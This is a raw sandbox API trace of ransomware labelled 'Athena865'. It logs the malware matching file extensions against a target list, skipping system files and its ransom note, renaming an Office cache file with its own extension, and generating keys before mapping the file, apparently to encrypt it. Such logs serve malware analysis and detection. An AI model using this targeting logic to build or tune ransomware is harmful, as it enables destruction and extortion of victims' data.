lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0061.985] lstrlenW (lpString="nv") returned 2 [0061.985] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0061.985] lstrlenW (lpString="nv2") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0061.985] lstrlenW (lpString="nwdb") returned 4 [0061.985] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0061.985] lstrlenW (lpString="nyf") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0061.985] lstrlenW (lpString="odb") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0061.985] lstrlenW (lpString="odb") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0061.985] lstrlenW (lpString="oqy") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0061.985] lstrlenW (lpString="ora") returned 3 [0061.985] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0061.985] lstrlenW (lpString="orx") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0061.986] lstrlenW (lpString="owc") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0061.986] lstrlenW (lpString="p96") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0061.986] lstrlenW (lpString="p97") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0061.986] lstrlenW (lpString="pan") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0061.986] lstrlenW (lpString="pdb") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0061.986] lstrlenW (lpString="pdm") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0061.986] lstrlenW (lpString="pnz") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0061.986] lstrlenW (lpString="qry") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0061.986] lstrlenW (lpString="qvd") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0061.986] lstrlenW (lpString="rbf") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0061.986] lstrlenW (lpString="rctd") returned 4 [0061.986] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0061.986] lstrlenW (lpString="rod") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0061.986] lstrlenW (lpString="rodx") returned 4 [0061.986] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0061.986] lstrlenW (lpString="rpd") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0061.986] lstrlenW (lpString="rsd") returned 3 [0061.986] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0061.986] lstrlenW (lpString="sas7bdat") returned 8 [0061.986] lstrcmpiW (lpString1="32WW.cab", lpString2="sas7bdat") returned -1 [0061.987] lstrlenW (lpString="sbf") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0061.987] lstrlenW (lpString="scx") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0061.987] lstrlenW (lpString="sdb") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0061.987] lstrlenW (lpString="sdc") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0061.987] lstrlenW (lpString="sdf") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0061.987] lstrlenW (lpString="sis") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0061.987] lstrlenW (lpString="spq") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0061.987] lstrlenW (lpString="te") returned 2 [0061.987] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0061.987] lstrlenW (lpString="teacher") returned 7 [0061.987] lstrcmpiW (lpString1="2WW.cab", lpString2="teacher") returned -1 [0061.987] lstrlenW (lpString="tmd") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0061.987] lstrlenW (lpString="tps") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0061.987] lstrlenW (lpString="trc") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0061.987] lstrlenW (lpString="trc") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0061.987] lstrlenW (lpString="trm") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0061.987] lstrlenW (lpString="udb") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0061.987] lstrlenW (lpString="udl") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0061.987] lstrlenW (lpString="usr") returned 3 [0061.987] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0061.988] lstrlenW (lpString="v12") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0061.988] lstrlenW (lpString="vis") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0061.988] lstrlenW (lpString="vpd") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0061.988] lstrlenW (lpString="vvv") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0061.988] lstrlenW (lpString="wdb") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0061.988] lstrlenW (lpString="wmdb") returned 4 [0061.988] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0061.988] lstrlenW (lpString="wrk") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0061.988] lstrlenW (lpString="xdb") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0061.988] lstrlenW (lpString="xld") returned 3 [0061.988] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0061.988] lstrlenW (lpString="xmlff") returned 5 [0061.988] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1 [0061.988] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865") returned 85 [0061.988] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwFlags=0x1) returned 1 [0062.004] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0062.004] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36233052) returned 1 [0062.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0062.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0062.005] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0062.005] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0062.005] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0062.005] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.006] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x228e260, lpName=0x0) returned 0x17c [0062.009] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x2200000, dwNumberOfBytesToMap=0x8e260) returned 0x2d50000 [0062.039] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0062.121] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0062.161] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0062.162] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0062.162] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0062.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0062.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0062.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0062.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0062.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0062.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0062.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0062.162] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0062.168] CloseHandle (hObject=0x17c) returned 1 [0062.168] CloseHandle (hObject=0x154) returned 1 [0062.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0062.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0062.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0062.177] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="..") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="temp") returned -1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="pagefile.sys") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ids.txt") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="perflogs") returned 1 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSBuild") returned 1 [0062.177] lstrlenW (lpString="PidGenX.dll") returned 11 [0062.177] lstrcpyW (in: lpString1=0x241e8c6, lpString2="PidGenX.dll" | out: lpString1="PidGenX.dll") returned="PidGenX.dll" [0062.177] lstrlenW (lpString="PidGenX.dll") returned 11 [0062.177] lstrlenW (lpString="Athena865") returned 9 [0062.177] lstrcmpiW (lpString1="dGenX.dll", lpString2="Athena865") returned 1 [0062.177] lstrlenW (lpString=".dll") returned 4 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".dll") returned 1 [0062.177] lstrlenW (lpString=".lnk") returned 4 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".lnk") returned 1 [0062.177] lstrlenW (lpString=".ini") returned 4 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".ini") returned 1 [0062.177] lstrlenW (lpString=".sys") returned 4 [0062.177] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".sys") returned 1 [0062.178] lstrlenW (lpString="PidGenX.dll") returned 11 [0062.178] lstrlenW (lpString="bak") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0062.178] lstrlenW (lpString="ba_") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0062.178] lstrlenW (lpString="dbb") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0062.178] lstrlenW (lpString="vmdk") returned 4 [0062.178] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0062.178] lstrlenW (lpString="rar") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0062.178] lstrlenW (lpString="zip") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0062.178] lstrlenW (lpString="tgz") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0062.178] lstrlenW (lpString="vbox") returned 4 [0062.178] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0062.178] lstrlenW (lpString="vdi") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0062.178] lstrlenW (lpString="vhd") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0062.178] lstrlenW (lpString="vhdx") returned 4 [0062.178] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0062.178] lstrlenW (lpString="avhd") returned 4 [0062.178] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0062.178] lstrlenW (lpString="db") returned 2 [0062.178] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0062.178] lstrlenW (lpString="db2") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0062.178] lstrlenW (lpString="db3") returned 3 [0062.178] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0062.178] lstrlenW (lpString="dbf") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0062.179] lstrlenW (lpString="mdf") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0062.179] lstrlenW (lpString="mdb") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0062.179] lstrlenW (lpString="sql") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0062.179] lstrlenW (lpString="sqlite") returned 6 [0062.179] lstrcmpiW (lpString1="nX.dll", lpString2="sqlite") returned -1 [0062.179] lstrlenW (lpString="sqlite3") returned 7 [0062.179] lstrcmpiW (lpString1="enX.dll", lpString2="sqlite3") returned -1 [0062.179] lstrlenW (lpString="sqlitedb") returned 8 [0062.179] lstrcmpiW (lpString1="GenX.dll", lpString2="sqlitedb") returned -1 [0062.179] lstrlenW (lpString="xml") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0062.179] lstrlenW (lpString="$er") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0062.179] lstrlenW (lpString="4dd") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0062.179] lstrlenW (lpString="4dl") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0062.179] lstrlenW (lpString="^^^") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0062.179] lstrlenW (lpString="abs") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0062.179] lstrlenW (lpString="abx") returned 3 [0062.179] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0062.179] lstrlenW (lpString="accdb") returned 5 [0062.179] lstrcmpiW (lpString1="X.dll", lpString2="accdb") returned 1 [0062.179] lstrlenW (lpString="accdc") returned 5 [0062.179] lstrcmpiW (lpString1="X.dll", lpString2="accdc") returned 1 [0062.179] lstrlenW (lpString="accde") returned 5 [0062.180] lstrcmpiW (lpString1="X.dll", lpString2="accde") returned 1 [0062.180] lstrlenW (lpString="accdr") returned 5 [0062.180] lstrcmpiW (lpString1="X.dll", lpString2="accdr") returned 1 [0062.180] lstrlenW (lpString="accdt") returned 5 [0062.180] lstrcmpiW (lpString1="X.dll", lpString2="accdt") returned 1 [0062.180] lstrlenW (lpString="accdw") returned 5 [0062.180] lstrcmpiW (lpString1="X.dll", lpString2="accdw") returned 1 [0062.180] lstrlenW (lpString="accft") returned 5 [0062.180] lstrcmpiW (lpString1="X.dll", lpString2="accft") returned 1 [0062.180] lstrlenW (lpString="adb") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0062.180] lstrlenW (lpString="adb") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0062.180] lstrlenW (lpString="ade") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0062.180] lstrlenW (lpString="adf") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0062.180] lstrlenW (lpString="adn") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0062.180] lstrlenW (lpString="adp") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0062.180] lstrlenW (lpString="alf") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0062.180] lstrlenW (lpString="ask") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0062.180] lstrlenW (lpString="btr") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0062.180] lstrlenW (lpString="cat") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0062.180] lstrlenW (lpString="cdb") returned 3 [0062.180] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0062.180] lstrlenW (lpString="ckp") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0062.181] lstrlenW (lpString="cma") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0062.181] lstrlenW (lpString="cpd") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0062.181] lstrlenW (lpString="dacpac") returned 6 [0062.181] lstrcmpiW (lpString1="nX.dll", lpString2="dacpac") returned 1 [0062.181] lstrlenW (lpString="dad") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0062.181] lstrlenW (lpString="dadiagrams") returned 10 [0062.181] lstrcmpiW (lpString1="idGenX.dll", lpString2="dadiagrams") returned 1 [0062.181] lstrlenW (lpString="daschema") returned 8 [0062.181] lstrcmpiW (lpString1="GenX.dll", lpString2="daschema") returned 1 [0062.181] lstrlenW (lpString="db-journal") returned 10 [0062.181] lstrcmpiW (lpString1="idGenX.dll", lpString2="db-journal") returned 1 [0062.181] lstrlenW (lpString="db-shm") returned 6 [0062.181] lstrcmpiW (lpString1="nX.dll", lpString2="db-shm") returned 1 [0062.181] lstrlenW (lpString="db-wal") returned 6 [0062.181] lstrcmpiW (lpString1="nX.dll", lpString2="db-wal") returned 1 [0062.181] lstrlenW (lpString="dbc") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0062.181] lstrlenW (lpString="dbs") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0062.181] lstrlenW (lpString="dbt") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0062.181] lstrlenW (lpString="dbv") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0062.181] lstrlenW (lpString="dbx") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0062.181] lstrlenW (lpString="dcb") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0062.181] lstrlenW (lpString="dct") returned 3 [0062.181] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0062.182] lstrlenW (lpString="dcx") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0062.182] lstrlenW (lpString="ddl") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0062.182] lstrlenW (lpString="dlis") returned 4 [0062.182] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0062.182] lstrlenW (lpString="dp1") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0062.182] lstrlenW (lpString="dqy") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0062.182] lstrlenW (lpString="dsk") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0062.182] lstrlenW (lpString="dsn") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0062.182] lstrlenW (lpString="dtsx") returned 4 [0062.182] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0062.182] lstrlenW (lpString="dxl") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0062.182] lstrlenW (lpString="eco") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0062.182] lstrlenW (lpString="ecx") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0062.182] lstrlenW (lpString="edb") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0062.182] lstrlenW (lpString="epim") returned 4 [0062.182] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0062.182] lstrlenW (lpString="fcd") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0062.182] lstrlenW (lpString="fdb") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0062.182] lstrlenW (lpString="fic") returned 3 [0062.182] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0062.183] lstrlenW (lpString="flexolibrary") returned 12 [0062.183] lstrlenW (lpString="fm5") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0062.183] lstrlenW (lpString="fmp") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0062.183] lstrlenW (lpString="fmp12") returned 5 [0062.183] lstrcmpiW (lpString1="X.dll", lpString2="fmp12") returned 1 [0062.183] lstrlenW (lpString="fmpsl") returned 5 [0062.183] lstrcmpiW (lpString1="X.dll", lpString2="fmpsl") returned 1 [0062.183] lstrlenW (lpString="fol") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0062.183] lstrlenW (lpString="fp3") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0062.183] lstrlenW (lpString="fp4") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0062.183] lstrlenW (lpString="fp5") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0062.183] lstrlenW (lpString="fp7") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0062.183] lstrlenW (lpString="fpt") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0062.183] lstrlenW (lpString="frm") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0062.183] lstrlenW (lpString="gdb") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0062.183] lstrlenW (lpString="gdb") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0062.183] lstrlenW (lpString="grdb") returned 4 [0062.183] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0062.183] lstrlenW (lpString="gwi") returned 3 [0062.183] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0062.183] lstrlenW (lpString="hdb") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0062.184] lstrlenW (lpString="his") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0062.184] lstrlenW (lpString="ib") returned 2 [0062.184] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0062.184] lstrlenW (lpString="idb") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0062.184] lstrlenW (lpString="ihx") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0062.184] lstrlenW (lpString="itdb") returned 4 [0062.184] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0062.184] lstrlenW (lpString="itw") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0062.184] lstrlenW (lpString="jet") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0062.184] lstrlenW (lpString="jtx") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0062.184] lstrlenW (lpString="kdb") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0062.184] lstrlenW (lpString="kexi") returned 4 [0062.184] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0062.184] lstrlenW (lpString="kexic") returned 5 [0062.184] lstrcmpiW (lpString1="X.dll", lpString2="kexic") returned 1 [0062.184] lstrlenW (lpString="kexis") returned 5 [0062.184] lstrcmpiW (lpString1="X.dll", lpString2="kexis") returned 1 [0062.184] lstrlenW (lpString="lgc") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0062.184] lstrlenW (lpString="lwx") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0062.184] lstrlenW (lpString="maf") returned 3 [0062.184] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0062.185] lstrlenW (lpString="maq") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0062.185] lstrlenW (lpString="mar") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0062.185] lstrlenW (lpString="marshal") returned 7 [0062.185] lstrcmpiW (lpString1="enX.dll", lpString2="marshal") returned -1 [0062.185] lstrlenW (lpString="mas") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0062.185] lstrlenW (lpString="mav") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0062.185] lstrlenW (lpString="maw") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0062.185] lstrlenW (lpString="mdbhtml") returned 7 [0062.185] lstrcmpiW (lpString1="enX.dll", lpString2="mdbhtml") returned -1 [0062.185] lstrlenW (lpString="mdn") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0062.185] lstrlenW (lpString="mdt") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0062.185] lstrlenW (lpString="mfd") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0062.185] lstrlenW (lpString="mpd") returned 3 [0062.185] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0062.185] lstrlenW (lpString="mrg") 